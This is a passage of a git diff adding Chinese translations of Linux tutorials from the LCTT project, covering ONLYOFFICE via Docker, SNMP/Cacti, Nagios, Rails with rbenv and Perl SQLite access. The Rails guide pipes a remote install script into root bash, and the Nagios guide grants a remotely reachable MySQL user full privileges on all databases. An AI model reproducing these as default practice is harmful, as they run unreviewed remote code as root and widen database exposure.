成员的努力,我们终于完成了对 LFS 7.7 systemd 版本手册的翻译。 + +手册在线访问地址:https://linux.cn/lfs/LFS-BOOK-7.7-systemd/index.html 。 + +其它格式的版本稍后推出。 + +感谢参与翻译的成员: wxy, ictlyh, dongfengweixiao, zpl1025, H-mudcup, Yuking-net, kevinSJ 。 + + +### 关于:Linux From Scratch ### + +这本手册是由 LFS 的项目领头人 Gerard Beekmans 创作的, Matthew Burgess 和 Bruse Dubbs 参与编辑,两人都是LFS 项目的联合领导人。这本书内容很广泛,有 338 页之多。 + +手册中内容包括:介绍 LFS、准备构建、构建 LFS、建立启动脚本、使 LFS 可以引导,以及附录。其中涵盖了您想知道的 LFS 项目中的所有东西。 + +这本手册还给出了编译一个包的预估时间。预估的时间以编译第一个包的时间作为参考。所有的东西都以易于理解的方式呈现,甚至对于新手来说也是这样。 + +如果您有充裕的时间并且真正对构建自己的 Linux 发行版感兴趣,那么您绝对不会错过下载这个电子书(免费下载)的机会。您需要做的,便是照着这本手册在一个工作的 Linux 系统(任何 Linux 发行版,足够的磁盘空间即可)中开始构建您自己的 Linux 系统,付出时间和热情。 + +如果 Linux 使您着迷,如果您想自己动手构建一个自己的 Linux 发行版,这便是现阶段您应该知道的全部了,其他的信息您可以参考上面链接的手册中的内容。 + +请让我了解您阅读/使用这本手册的经历,这本详尽的 LFS 指南的使用是否足够简单?如果您已经构建了一个 LFS 并且想给我们的读者一些建议,欢迎留言和反馈。 + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/create-custom-linux-distribution-from-scratch/ + +作者:[Avishek Kumar][a] +译者:[wwy-hust](https://github.com/wwy-hust) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://www.tecmint.com/author/avishek/ +[1]:http://tecmint.tradepub.com/free/w_linu01/prgm.cgi diff --git a/published/201507/20150527 How to edit your documents collaboratively on Linux.md b/published/201507/20150527 How to edit your documents collaboratively on Linux.md new file mode 100644 index 0000000000..a49cb0ef13 --- /dev/null +++ b/published/201507/20150527 How to edit your documents collaboratively on Linux.md @@ -0,0 +1,122 @@ +如何在 Linux 上 使用 ONLYOFFICE 协同编辑文档 +================================================================================ +> “多年前由一些紧张兮兮的、带有强迫症的助理开发的 Bulletin,只是一个放在共享文件夹中只有 Emily 和我可以访问的 Word 文档而已。同一时间我们只有一个人可以打开它并添加消息、想法,或者给条目列表上增加问题。然后我们再打印出更新后的版本并放到我桌子架上的剪贴板,并在完成时删除旧的内容。”(——《穿普拉达的女王》,劳伦·魏丝伯格著 ) + +直到今天人们仍然在使用这样的“协同编辑”,只有一个人可以打开共享文件,对其进行更改,然后告诉其它人什么时候修改了什么。 + +ONLYOFFICE 是一款集成了文档、电子邮件、事件、任务和客户关系管理工具的开源在线办公套件。 + +使用 ONLYOFFICE 办公套件,一组人可以同时编辑文本、电子表格或者在浏览器上进行展示。可以直接在他们的文档上留下评论并用其中集成的聊天工具和其他人沟通。最后,可以保存文档为 PDF 文件并打印。作为额外的增强功能,它还能浏览文档历史并在如果需要时恢复到之前的修订/版本。 + +在这篇教程中,我会介绍如何使用 [免费版 ONLYOFFICE][1] 部署你自己的在线办公套件,免费版 ONLYOFFICE 是 ONLYOFFICE 在 GNU AGPL v3 协议下发布的自托管版本。 + +### 在 Linux 上安装 ONLYOFFICE ### + +安装 ONLYOFFICE 要求在你的 Linux 系统上要有 mono(4.0.0 或更高版本)、nodejs、libstdc++6、nginx 和 mysql-server。为了简化安装过程并避免依赖错误,我使用 Docker 安装 ONLYOFFICE。在这种情况下只需要安装一种依赖 - [Docker][2]。 + +提醒一下,Docker 是一个在软件容器中自动部署应用的开源项目。如果在你的 Linux 系统上 Docker 不可用,首先根据 [基于 Debian][3] 或 [基于 Red-Hat][4] 系统的 Docker 安装指令安装它。 + +注意,你需要 Docker 1.4.1 或更高版本。要检查安装的 Docker 版本,可以使用下面的命令。 + + $ docker version + +在一个 Docker 容器中试用 ONLYOFFICE,只需要执行下面的命令: + + $ sudo docker run -i -t -d --name onlyoffice-document-server onlyoffice/documentserver + $ sudo docker run -i -t -d -p 80:80 -p 443:443 --link onlyoffice-document-server:document_server onlyoffice/communityserver + +这些命令会下载为了能正常运行带有所有所需依赖的 [官方 ONLYOFFICE Docker 镜像][5]。 + +也可以在 Linux 服务器上单独安装 [ONLYOFFICE 在线编辑器][6],并通过提供的 API 轻松地集成到你的站点或云应用。 + +### 运行自行托管的在线 Office ### + +要打开你的在线 office,在你浏览器的地址栏输入 localhost(http://IP地址/)。会打开欢迎页面: + +![](https://farm9.staticflickr.com/8815/18116525656_795821c73b_c.jpg) + +输入一个密码并指定下次访问你的 office 所使用的电子邮件地址。 + +### 在线编辑文档 ### + +首先点击 Document 链接打开 **the My Documents** 文件夹。 + +![](https://farm8.staticflickr.com/7781/17956640089_d3df0b18cd_c.jpg) + +#### STEP 1. 选择需要编辑的文档 #### + +要在这里新建一个新文档,点击左上角的 “Create” 按钮,从下拉列表中选择文件类型。要编辑保存在你硬盘中的文件,点击 **Create** 按钮旁边的 **Upload** 按钮上传文件到 **Document**。 + +![](https://farm9.staticflickr.com/8836/17956640109_ed8be735df_c.jpg) + +#### STEP 2. 共享文档 #### + +如果你在 **My Documents** 文件夹中,用右边的 **Share** 按钮,或者如果你在文档中,用 **File >> Document Info ... >> Change Access Rights**。 + +在打开的 **Sharing Settings** 窗口,点击左边的 **People outside portal** 链接,打开到文档的访问,并通过启用 **Full Access** 单选按钮给予完全访问权限。 + +最后,选择一种方式共享到你文档的链接,通过 email 或者你可用的一种社交网络:Google+、Facebook 或 Twitter 发送。 + +![](https://farm8.staticflickr.com/7766/17522306273_c8a9022c75_c.jpg) + +#### STEP 3. 开始协同编辑 #### + +邀请的人只需要根据提供的链接就可以开始协同编辑文档。 + +它会自动用不用颜色的虚线将你的合作者编辑的文本段落标记出来。 + +![](https://farm8.staticflickr.com/7790/18139370292_7ef57aae8f_c.jpg) + +只要你的其中一个协作者保存了他/她的更改,你会看到在顶部工具栏左上角出现了一个提示标签,表示这里有更新。 + +![](https://farm8.staticflickr.com/7778/18143984831_3dd42a9672_c.jpg) + +点击 **Save** 图标保存更改并更新。然后会高亮所有的更新。 + +![](https://farm8.staticflickr.com/7796/17955172970_e53460b8a6_c.jpg) + +#### STEP 4. 和协作者互动 #### + +要写评论,用鼠标选择一个文本段落,右击并从上下文菜单中选择 **Add comment** 选项。 + +![](https://farm8.staticflickr.com/7771/17956640359_c4e2858dc8_c.jpg) + +要和协作者实时互动,可以使用集成的聊天工具。**Chat** 面板会列出所有正在编辑文档的用户。点击左侧边栏的 **Chat** 图标打开它。在 **Chat** 面板的合适区域输入你的信息开始讨论。 + +![](https://farm8.staticflickr.com/7794/18116394026_d93b00e4f8_c.jpg) + +### 有用的提示 ### + +最后,这里有一些你充分利用 ONLYOFFICE 的有用提示。 + +#### Tip #1. 在云存储服务例如 ownCloud 上编辑文档 #### + +如果你将文档存储在其它网络资源上,例如 Box、Dropbox、Google Drive、OneDrive、SharePoint 或 ownCloud,你可以轻松地和 ONLYOFFICE 同步。 + +在打开的 ‘Documents’ 模块,点击 **Add the account** 下面的其中一个图标:Google、Box、DropBox、OneDrive、ownCloud 或 ‘Add account’,并输入所需数据。 + +#### Tip #2. 在 iPad 上编辑文档 #### + +要随时随地对文件进行修改,我使用 iPad 的 ONLYOFFICE Documents 应用。你可以从 [iTune][7] 下载并安装它,然后你需要输入你的 ONLYOFFICE 地址、email 和密码来访问你的文档。功能设置几乎一样。 + +为了评估 ONLYOFFICE 在线编辑器的功能,你可以使用供个人使用的 [云版本][8]。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/edit-documents-collaboratively-linux.html + +作者:[Tatiana Kochedykova][a] +译者:[ictlyh](https://github.com/ictlyh) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/tatiana +[1]:http://www.onlyoffice.org/ +[2]:http://xmodulo.com/recommend/dockerbook +[3]:http://xmodulo.com/manage-linux-containers-docker-ubuntu.html +[4]:http://xmodulo.com/docker-containers-centos-fedora.html +[5]:https://registry.hub.docker.com/u/onlyoffice/communityserver/ +[6]:http://onlyoffice.org/sources#document +[7]:https://itunes.apple.com/us/app/onlyoffice-documents/id944896972 +[8]:https://personal.onlyoffice.com/ \ No newline at end of file diff --git a/published/201507/20150601 How to monitor Linux servers with SNMP and Cacti.md b/published/201507/20150601 How to monitor Linux servers with SNMP and Cacti.md new file mode 100644 index 0000000000..68bf72ad98 --- /dev/null +++ b/published/201507/20150601 How to monitor Linux servers with SNMP and Cacti.md @@ -0,0 +1,181 @@ +使用 SNMP 和 Cacti 监控 Linux 服务器 +================================================================================ +SNMP(简单网络管理协议)用于收集设备内部发生的数据,如负载、磁盘状态、带宽之类。像Cacti这样的网络监控工具用这些数据来生成图标以达到监控的目的。 + +在一个典型的Cacti和SNMP部署中,会有一台或多台启用了SNMP的设备,以及一台独立的用来从那些设备收集SNMP回馈的监控服务器。请记住,所有需要监控的设备必须启用SNMP。在本教程中,出于演示目的,我们将在同一台Linux服务器上配置Cacti和SNMP。 + +### 在Debian或Ubuntu上配置SNMP ### + +要在基于Debian的系统上安装SNMP代理(snmpd),请运行以下命令: + + root@server:~# apt-get install snmpd + +然后,如下编辑配置文件。 + + root@server:~# vim /etc/snmp/snmpd.conf + +---------- + + # 使snmpd 监听再所有接口上 + agentAddress udp:161 + + # 定义一个只读的 community 'myCommunity' 和源网络 + rocommunity myCommunity 172.17.1.0/24 + + sysLocation Earth + sysContact email@domain.tld + +在编辑完配置文件后,重启snmpd。 + + root@server:~# service snmpd restart + +### 在CentOS或RHEL上配置SNMP ### + +要安装SNMP工具和库,请运行以下命令。 + + root@server:~# sudo yum install net-snmp + +然后,如下编辑SNMP配置文件。 + + root@server:~# vim /etc/snmp/snmpd.conf + +---------- + + # 定义一个使用 community 'myCommunity' 和源网络 172.17.1.0/24 的用户 'myUser' + com2sec myUser 172.17.1.0/24 myCommunity + + # 将 myUser 加到 'myGroup' 组,定义组权限 + group myGroup v1 myUser + group myGroup v2c myUser + view all included .1 + access myGroup "" any noauth exact all all none + +---------- + + root@server:~# service snmpd restart + root@server:~# chkconfig snmpd on + +重启snmpd服务,然后添加到启动服务列表。 + +### 测试SNMP ### + +SNMP可以通过运行snmpwalk命令进行测试。如果SNMP已经配置成功,该命令会生成大量输出。 + + root@server:~# snmpwalk -c myCommunity 172.17.1.44 -v1 + +---------- + + iso.3.6.1.2.1.1.1.0 = STRING: "Linux mrtg 3.5.0-17-generic #28-Ubuntu SMP Tue Oct 9 19:31:23 UTC 2012 x86_64" + iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.8072.3.2.10 + iso.3.6.1.2.1.1.3.0 = Timeticks: (2097) 0:00:20.97 + + ~~ 输出截断 ~~ + + iso.3.6.1.2.1.92.1.1.2.0 = Gauge32: 1440 + iso.3.6.1.2.1.92.1.2.1.0 = Counter32: 1 + iso.3.6.1.2.1.92.1.2.2.0 = Counter32: 0 + iso.3.6.1.2.1.92.1.3.1.1.2.7.100.101.102.97.117.108.116.1 = Timeticks: (1) 0:00:00.01 + iso.3.6.1.2.1.92.1.3.1.1.3.7.100.101.102.97.117.108.116.1 = Hex-STRING: 07 DD 0B 12 00 39 27 00 2B 06 00 + +### 配置带有SNMP的Cacti ### + +在本教程中,我们将在同一台Linux服务器上设置Cacti和SNMP。所以,到刚刚配置SNMP的Linux服务器上去[安装Cacti][2]吧。 + +安装完后,Cacti网页界面可以通过“http://172.17.1.44/cacti ”来访问,当然,在你的环境中,请将IP地址换成你的服务器的地址。 + +![](http://farm6.staticflickr.com/5512/10972747655_0298f6ce6c_z.jpg) + +![](http://farm6.staticflickr.com/5532/10972982543_67e15433b8_z.jpg) + +安装过程中Cacti的路径一般都是正确的,但是如有必要,请再次检查以下。 + +![](http://farm4.staticflickr.com/3764/10972920304_138670d3cf_z.jpg) + +在首次安装过程中,Cacti默认的用户名和密码是“admin”和“admin”。在首次登录后会强制你修改密码。 + +![](http://farm6.staticflickr.com/5542/10972747775_531fe445ef_o.png) + +### 添加设备到Cacti并管理 ### + +Cacti将根据先前配置的SNMP字符串注册设备。在本教程中,我们将只添加启用了SNMP的本地服务器。 + +要添加设备,我们必须以管理员登录,然后转到Cacti管理员面板中的控制台。点击 控制台 > 设备。 + +![](http://farm8.staticflickr.com/7411/10972747855_b464972e56_z.jpg) + +那里可能已经有一个名为‘localhost’的设备。我们不需要它,因为我们要创建全新的图表。我们可以将该设备从列表中删除,使用“添加”按钮来添加新设备。 + +![](http://farm8.staticflickr.com/7373/10972747895_977e0eccd6_z.jpg) + +接下来,我们设置设备参数。 + +![](http://farm8.staticflickr.com/7400/10972747935_df03500de7_z.jpg) + +现在设备已经添加,我们来指定想要创建的图表模板。你可以在该页面的最后部分中找到这块内容。 + +![](http://farm4.staticflickr.com/3773/10972747955_083101e6ab_z.jpg) + +然后,我们继续来创建图表。 + +![](http://farm4.staticflickr.com/3734/10972747985_fae6b78888.jpg) + +这里,我们创建用于平均负载、RAM和硬盘、处理器的图表。 + +![](http://farm8.staticflickr.com/7374/10972920484_ed6b33b8b8_z.jpg) + +### 接口的图表和64位计数器 ### + +默认情况下,Cacti在SNMP查询中使用32位计数器。32位计数器对于大多数带宽图表而言已经足够了,但是对于超过100Mbps的带宽,它就无能为力了。如果已经知道带宽会超过100Mbps,建议你使用64位计数器。使用64位计数器一点也不麻烦。 + +![](http://farm8.staticflickr.com/7320/10972982813_120fe1f3d0_z.jpg) + +**注意**: Cacti会花费大约15分钟来产生新图表,除了耐心等待,你别无选择。 + +### 创建图表树 ### + +这些截图展示了如何创建图表树,以及如何添加图表到这些树中。 + +![](http://farm8.staticflickr.com/7429/10972748045_ca06bec889_z.jpg) + +![](http://farm3.staticflickr.com/2833/10972920584_f33624862a_z.jpg) + +![](http://farm6.staticflickr.com/5548/10972836666_f31e4de0e7_z.jpg) + +![](http://farm4.staticflickr.com/3786/10972836776_1675611740_z.jpg) + +我们可以验证图表树中的图表。 + +![](http://farm4.staticflickr.com/3707/10972836836_3dabe56765_z.jpg) + +### 用户管理 ### + +最后,我们创建一个只具有查看我们刚创建的图表权限的用户。Cacti内建了用户管理系统,而且是高度可定制的。 + +![](http://farm8.staticflickr.com/7313/10972920624_61e13157f9_z.jpg) + +![](http://farm6.staticflickr.com/5536/10972920644_59a9797685_z.jpg) + +![](http://farm3.staticflickr.com/2872/10972920744_24f75fb5a8_z.jpg) + +在完成这些步骤后,我们可以使用‘user1’来登录进去,并验证只有该用户可以查看该图表。 + +![](http://farm8.staticflickr.com/7423/10972748265_c2608b3683_z.jpg) + +![](http://farm4.staticflickr.com/3763/10972748335_9cd012c6fe_z.jpg) + +至此,我们在网络监控系统中部署了一台Cacti服务器。Cacti服务器比较稳定,可以处理大量图表而不会出问题。 + +希望本文对你有所帮助。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/monitor-linux-servers-snmp-cacti.html + +作者:[Sarmed Rahman][a] +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/sarmed +[1]:https://linux.cn/article-4683-1.html diff --git a/published/201507/20150601 How to monitor common services with Nagios.md b/published/201507/20150601 How to monitor common services with Nagios.md new file mode 100644 index 0000000000..4f6523f0ce --- /dev/null +++ b/published/201507/20150601 How to monitor common services with Nagios.md @@ -0,0 +1,267 @@ +如何用 Nagios 监控通用服务 +================================================================================ +Nagios内置了很多脚本来监控服务。本篇会使用其中一些来检查通用服务如MySql、Apache、DNS等等。 + +为了保证本篇集中在系统监控,我们不会在这里配置主机组或者模板,它们已经在 [前面的教程][1]中覆盖了,它们可以满足需要了。 + +### 在命令行中运行Nagios ### + +通常建议在添加到Nagios前,先在命令行中运行Nagios服务检测脚本。它会给出执行是否成功以及脚本的输出将会看上去的样子。 + +这些脚本存储在 /etc/nagios-plugins/config/ ,可执行文件在 /usr/lib/nagios/plugins/。 + +下面就是该怎么做 + + root@nagios:~# cd /etc/nagios-plugins/config/ + +提供的脚本包含了语法帮助。示例包含了部分输出。 + + root@nagios:~# cat /etc/nagios-plugins/config/tcp_udp.cfg + +---------- + + # 'check_tcp' command definition + define command{ + command_name check_tcp + command_line /usr/lib/nagios/plugins/check_tcp -H '$HOSTADDRESS$' -p '$ARG1$' + +了解了语法,TCP 80端口可以用下面的方法检查。 + + root@nagios:~# /usr/lib/nagios/plugins/check_tcp -H 10.10.10.1 -p 80 + +---------- + + TCP OK - 0.000 second response time on port 80|time=0.000222s;;;0.000000;10.000000 + +### 示例拓扑 ### + +本片中使用下面三台服务器。每台服务器运行多个通用服务。Nagios服务器现在运行的是Ubuntu。 + +- Server 1 (10.10.10.1) : MySQL, Apache2 +- Server 2 (10.10.10.2) : Postfix, Apache2 +- Server 3 (10.10.10.3) : DNS + +首先,这些服务器被定义在了Nagios中。 + + root@nagios:~# vim /etc/nagios3/conf.d/example.cfg + +---------- + + define host{ + use generic-host + host_name test-server-1 + alias test-server-1 + address 10.10.10.1 + } + + define host{ + use generic-host + host_name test-server-2 + alias test-server-2 + address 10.10.10.2 + } + + define host{ + use generic-host + host_name test-server-3 + alias test-server-3 + address 10.10.10.3 + } + +### 监控MySQL服务 ### + +#### MySQL 监控需要 #### + +- 通过检查3306端口来检测MySQL是否运行中。 +- 检测特定的数据库'testDB'是否可用。 + +#### MySQL 服务器设置 #### + +开始检测MySQL时,需要记住MySQL默认只监听回环接口127.0.0.1。这增加了数据库的安全。手动调节需要告诉MySQL该监听什么其他接口。下面是该怎么做。 + +这个设置要在所有的MySQL服务器上完成。 + + root@nagios:~# vim /etc/mysql/my.cnf + +下面这行被注释掉以监听所有网络接口。 + + #bind-address = 127.0.0.1 + +同样,MySQL也不会让任意主机来连接它。需要为localhost和“任意”主机创建MySQL用户‘nagios’,接着在所有的数据库中为这个用户授予ALL权限,会这将在会用在监控中。 + +下面的设置对所有的MySQL服务器都已经设置。 + + root@nagios:~# mysql -u root –p + ## MySQL root 密码 ## + +在MySQL服务器中创建'nagios@localhost'用户。 + + mysql> CREATE USER 'nagios'@'localhost' IDENTIFIED BY 'nagios-pass'; + mysql> GRANT ALL PRIVILEGES ON *.* TO 'nagios'@'localhost'; + +创建'nagios@任意主机'用户。(LCTT 译注:实际上这两个是同一个用户,只是分别授权给localhost和任意主机的访问;因为它们所用的密码的同一个,修改任何一个,另外一个也相应变化。) + + mysql> CREATE USER 'nagios'@'%' IDENTIFIED BY 'nagios-pass'; + mysql> GRANT ALL PRIVILEGES ON *.* TO 'nagios'@'%'; + + mysql> FLUSH PRIVILEGES; + +这使MySQL监听所有的网络接口,同样接受来自用户'nagios'的进入连接。 + +请注意,这种修改可能有安全隐患,所以需要提示几点: + +- 这个设置将会暴露MySQL给所有的接口,包括外网。确保只有合法的网络访问是非常重要的。应该使用防火墙和TCP wrapper等过滤器。 +- MySQL用户‘nagios’的密码应该非常强。如果只有几台Nagios服务器,那么应该创建'nagios@服务器名'用户而不是任意用户的'nagios@%'。 + +#### 对MySQL的Nagios配置 #### + +按如下配置来做一些调整。 + + root@nagios:~# vim /etc/nagios3/conf.d/services_nagios2.cfg + +---------- + + define service{ + use generic-service + host_name test-server-1 + ;hostgroup can be used instead as well + + service_description Check MYSQL via TCP port + check_command check_tcp!3306 + } + + define service{ + use generic-service + host_name test-server-1 + ;hostgroup can be used instead as well + + service_description Check availability of database 'testDB' + check_command check_mysql_database!nagios!nagios-pass!testDB + ;check_mysql!userName!userPassword!databaseName + } + +这样,Nagios就可以同时监控MySQL服务器及其数据库的可用性。 + +### 监控Apache服务器 ### + +Nagios同样也可以监控Apache服务。 + +#### Apache监控需要 #### + +- 监控apache服务是否可用 + +这个任务非常简单因为Nagios有一个内置命令。 + + root@nagios:~# vim /etc/nagios3/conf.d/services_nagios2.cfg + +---------- + + define service{ + use generic-service + host_name test-server-1, test-server-2 + service_description Check Apache Web Server + check_command check_http + } + +现在就非常简单了。 + +### 监控DNS服务 ### + +Nagios通过向DNS服务器查询一个完全限定域名(FQDN),或者使用dig工具来查询。默认用于查询的FQDN的是www.google.com,但是这个可以按需改变。按照下面的文件修改来完成这个任务。 + + root@nagios:~# vim /etc/nagios-plugins/config/dns.cfg + +---------- + + ## The -H portion can be modified to replace Google ## + define command{ + command_name check_dns + command_line /usr/lib/nagios/plugins/check_dns -H www.google.com -s '$HOSTADDRESS$' + } + +编辑下面的行。 + + root@nagios:~# vim /etc/nagios3/conf.d/services_nagios2.cfg + +---------- + + ## Nagios asks server-3 to resolve the IP for google.com ## + define service{ + use generic-service + host_name test-server-3 + service_description Check DNS + check_command check_dns + } + + ## Nagios asks server-3 to dig google.com ## + define service{ + use generic-service + host_name test-server-3 + service_description Check DNS via dig + check_command check_dig!www.google.com + } + +### 监控邮件服务器 ### + +Nagios可以监控不同的邮件服务组件如SMTP、POP、IMAP和mailq。之前提过,server-2设置了Postfix邮件服务。Nagios将被配置来监控SMTP和邮件队列。 + + root@nagios:~# vim /etc/nagios3/conf.d/services_nagios2.cfg + +---------- + + define service{ + use generic-service + host_name test-server-2 + service_description Check SMTP + check_command check_smtp + } + + define service{ + use generic-service + host_name test-server-2 + service_description Check Mail Queue + check_command check_mailq_postfix!50!100 + ;warning at 50, critical at 100 + } + +下面的截屏显示了目前配置监控服务的概览。 + +![](http://farm8.staticflickr.com/7333/11428095956_2868bbdfcc_z.jpg) + +### 基于端口自定义监控程序 ### + +让我们假设如下定制程序同样运行在网络中,监听着一个特定的端口。 + +- 测试1号服务器:定制程序(TCP端口 12345) + +做一些小的调整,Nagios也可以帮助我们监控这个程序。 + + root@nagios:~# vim /etc/nagios3/conf.d/services_nagios2.cfg + +---------- + + define service{ + use generic-service + host_name test-server-1 + service_description Check server 1 custom application + check_command check_tcp!12345 + } + +在结束之前的提示,Nagios可以监控网络很多其他的方面。存储在/etc/nagios-plugins/config/中的脚本为Nagios提供了很棒的能力。 + +一些Nagios提供的脚本被仅限于本地服务器,比如,服务器负载、进程并发数量、登录用户数量等。这些检查可以提供Nagios服务器内有用的信息。 + +希望这篇文章对你有用。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/monitor-common-services-nagios.html + +作者:[Sarmed Rahman][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/sarmed +[1]:https://linux.cn/article-2436-1.html \ No newline at end of file diff --git a/published/201507/20150603 Installing Ruby on Rails using rbenv on Ubuntu 15.04.md b/published/201507/20150603 Installing Ruby on Rails using rbenv on Ubuntu 15.04.md new file mode 100644 index 0000000000..9d597fff54 --- /dev/null +++ b/published/201507/20150603 Installing Ruby on Rails using rbenv on Ubuntu 15.04.md @@ -0,0 +1,152 @@ +在Ubuntu 15.04中安装Ruby on Rails +================================================================================ + +本篇我们会学习如何用rbenv在Ubuntu 15.04中安装Ruby on Rails。我们选择Ubuntu作为操作系统是因为Ubuntu是Linux发行版中自带很多包和完整文档的操作系统,因此我认为这是正确的选择。如果你还没有安装最新的Ubuntu,你可以从[下载iso文件][1]开始。 + +### 安装 Ruby ### + +我们要做的第一件事是更新Ubuntu包并且为Ruby安装一些依赖。 + + sudo apt-get update + sudo apt-get install git-core curl zlib1g-dev build-essential libssl-dev libreadline-dev libyaml-dev libsqlite3-dev sqlite3 libxml2-dev libxslt1-dev libcurl4-openssl-dev python-software-properties libffi-dev + +有三种方法来安装Ruby:rbenv、rvm和从源码安装。每种都有各自的好处,但是近来开发者们更倾向使用rbenv而不是rvm和源码来安装。我们将安装最新的Ruby版本,2.2.2。 + +用rbenv来安装只有简单的两步。第一步安装rbenv,接着是ruby-build: + + cd + git clone git://github.com/sstephenson/rbenv.git .rbenv + echo 'eval "$(rbenv init -)"' >> ~/.bashrc + exec $SHELL + + git clone git://github.com/sstephenson/ruby-build.git ~/.rbenv/plugins/ruby-build + echo 'export PATH="$HOME/.rbenv/plugins/ruby-build/bin:$PATH"' >> ~/.bashrc + exec $SHELL + + git clone https://github.com/sstephenson/rbenv-gem-rehash.git ~/.rbenv/plugins/rbenv-gem-rehash + + rbenv install 2.2.2 + rbenv global 2.2.2 + ruby -v + +我们需要安装Bundler,但是我们要在安装之前告诉rubygems不要为每个包安装本地文档。 + + echo "gem: --no-ri --no-rdoc" > ~/.gemrc + gem install bundler + +### 配置 GIT ### + +配置git之前,你要创建一个github账号,你可以注册一个[github 账号][2]。我们需要git作为版本控制系统,因此我们要设置它来匹配github账号。 + +用户的github账号来替换下面的**Name** 和 **Email address** 。 + + git config --global color.ui true + git config --global user.name "YOUR NAME" + git config --global user.email "YOUR@EMAIL.com" + ssh-keygen -t rsa -C "YOUR@EMAIL.com" + +接下来用新生成的ssh key添加到github账号中。这样你需要复制下面命令的输出并[粘贴在Github的设置页面里面][3]。 + + cat ~/.ssh/id_rsa.pub + +如果你做完了,检查是否已经成功。 + + ssh -T git@github.com + +你应该得到下面这样的信息。 + + Hi excid3! You've successfully authenticated, but GitHub does not provide shell access. + +### 安装 Rails ### + +我们需要安装像NodeJS这样的javascript运行时环境,因为近来Rails的依赖越来越多了。这样我们可以合并和压缩你的javascript,从而提供一个更快的生产环境。 + +我们需要添加PPA来安装nodeJS。 + + sudo add-apt-repository ppa:chris-lea/node.js + sudo apt-get update + sudo apt-get install nodejs + +如果在更新时遇到了问题,你可以试试这个命令: + + # Note the new setup script name for Node.js v0.12 + curl -sL https://deb.nodesource.com/setup_0.12 | sudo bash - + + # Then install with: + sudo apt-get install -y nodejs + +下一步,用这个命令安装 rails: + + gem install rails -v 4.2.1 + +因为我们正在使用rbenv,用下面的命令来让rails的执行程序可以使用。 + + rbenv rehash + +要确保rails已经正确安装,你可以运行rails -v,显示如下: + + rails -v + # Rails 4.2.1 + +如果你得到的是不同的结果可能是环境没有设置正确。 + +### 设置 MySQL ### + +或许你已经熟悉MySQL了,你可以从Ubuntu的仓库中安装MySQL的客户端与服务端。你可以在安装时设置root用户密码。这个信息将来会进入你rails程序的database.yml文件中。用下面的命令来安装mysql。 + + sudo apt-get install mysql-server mysql-client libmysqlclient-dev + +安装libmysqlclient-dev用于mysql2 gem的编译;在设置rails程序时,rails通过它来连接mysql。 + +### 最后一步 ### + +让我们尝试创建你的第一个rails程序: + + # 使用 MySQL 数据库 + + rails new myapp -d mysql + + # 进入到应用目录 + + cd myapp + + # 创建数据库 + + rake db:create + + rails server + +访问http://localhost:3000来访问你的新网站。现在你的电脑上已经可以构建rails程序了。 + +![](http://blog.linoxide.com/wp-content/uploads/2015/05/localhost_3000.png) + +如果你在创建数据库时遇到了“Access denied for user 'root'@'localhost' (Using password: NO)”这个错误信息,你需要更新你的config/database.yml文件来匹配数据库的**用户名**和**密码**。 + + # Edit your database.yml in config folder + + nano config/database.yml + +接着填入MySql root用户的密码。 + +![](http://blog.linoxide.com/wp-content/uploads/2015/05/root_passw.png) + +退出 (Ctrl+X)并保存。 + +### 总结 ### + +Rails是用Ruby写的, 也是随着rails一起使用的编程语言。在Ubuntu 15.04中Ruby on Rails可以用rbenv、 rvm和源码的方式来安装。本篇我们使用的是rbenv方式并用了MySQL作为数据库。有任何的问题或建议,请在评论栏指出。 + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/ubuntu-how-to/installing-ruby-rails-using-rbenv-ubuntu-15-04/ + +作者:[Obet][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/obetp/ +[1]:http://release.ubuntu.com/15.04 +[2]:http://github.com +[3]:https://github.com/settings/ssh diff --git a/published/201507/20150604 How to access SQLite database in Perl.md b/published/201507/20150604 How to access SQLite database in Perl.md new file mode 100644 index 0000000000..82283b9857 --- /dev/null +++ b/published/201507/20150604 How to access SQLite database in Perl.md @@ -0,0 +1,173 @@ +如何用Perl访问SQLite数据库 +================================================================================ +SQLite是一个零配置、无服务端、基于文件的事务型数据库系统。由于它的轻量级,自包含和紧凑的设计,所以当你想要集成数据库到你的程序中时,SQLite是一个非常不错的选择。在这篇文章中,我会展示如何用Perl脚本来创建和访问SQLite数据库。我演示的Perl代码片段是完整的,所以你可以很简单地修改并集成到你的项目中。 + +![](https://farm1.staticflickr.com/552/18444614631_9e7fce8243_c.jpg) + +### 访问SQLite的准备 ### + +我会使用SQLite DBI Perl驱动来连接到SQLite3。因此你需要在Linux中安装它(和SQLite3一起)。 + +**Debian、 Ubuntu 或者 Linux Mint** + + $ sudo apt-get install sqlite3 libdbd-sqlite3-perl + +**CentOS、 Fedora 或者 RHEL** + + $ sudo yum install sqlite perl-DBD-SQLite + +安装后,你可以检查SQLite驱动可以通过下面的脚本访问到。 + + #!/usr/bin/perl + + my @drv = DBI->available_drivers(); + print join("\n", @drv), "\n"; + +如果你运行脚本,你应该会看见下面的输出。 + + DBM + ExampleP + File + Gofer + Proxy + SQLite + Sponge + +### Perl SQLite 访问示例 ### + +下面就是Perl访问SQLite的示例。这个Perl脚本会演示下面这些SQLite数据库的常规管理。 + +- 创建和连接SQLite数据库 +- 在SQLite数据库中创建新表 +- 在表中插入行 +- 在表中搜索和迭代行 +- 在表中更新行 +- 在表中删除行 